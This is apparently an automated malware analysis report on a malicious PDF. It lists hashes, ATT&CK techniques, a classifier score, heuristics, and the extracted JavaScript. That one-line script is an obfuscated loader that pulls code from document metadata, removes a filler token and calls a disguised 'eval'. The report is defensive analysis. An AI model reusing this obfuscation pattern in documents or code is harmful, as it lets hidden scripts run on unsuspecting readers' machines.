Malicious PDF — malware analysis report

Static analysis result for SHA-256 1945bfe096f4d9e6…

MALICIOUS

PDF

7.3 KB First seen: 2026-05-09
MD5: d70fb4c54f4439d551aafe4ff97529ac SHA-1: 8e30a2ccba491b939a6a7cde7a7d35539113ef94 SHA-256: 1945bfe096f4d9e64f8dbe876d2aaae9a50acfcfe4536d1a6f75fdced8aa846a
66 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a script section. The JavaScript attempts to manipulate document information properties and execute a function, likely to download and run a secondary payload. The ML classifier strongly flags this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 3

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x19FC 108 bytes
SHA-256: e3b8ed99dee109ed231cb155f11bd5b0c7b0d0de66095b5007a392b3f6a72126
Preview script
First 1,000 lines of the extracted script
m1=this.info.cduh;m2=m1.replace(/5qqq5/g,"");m9="val";m3=this.info.vfyg.concat(m9);        this[m3](m2);

Open this report in the interactive analyzer, or submit your own file for analysis.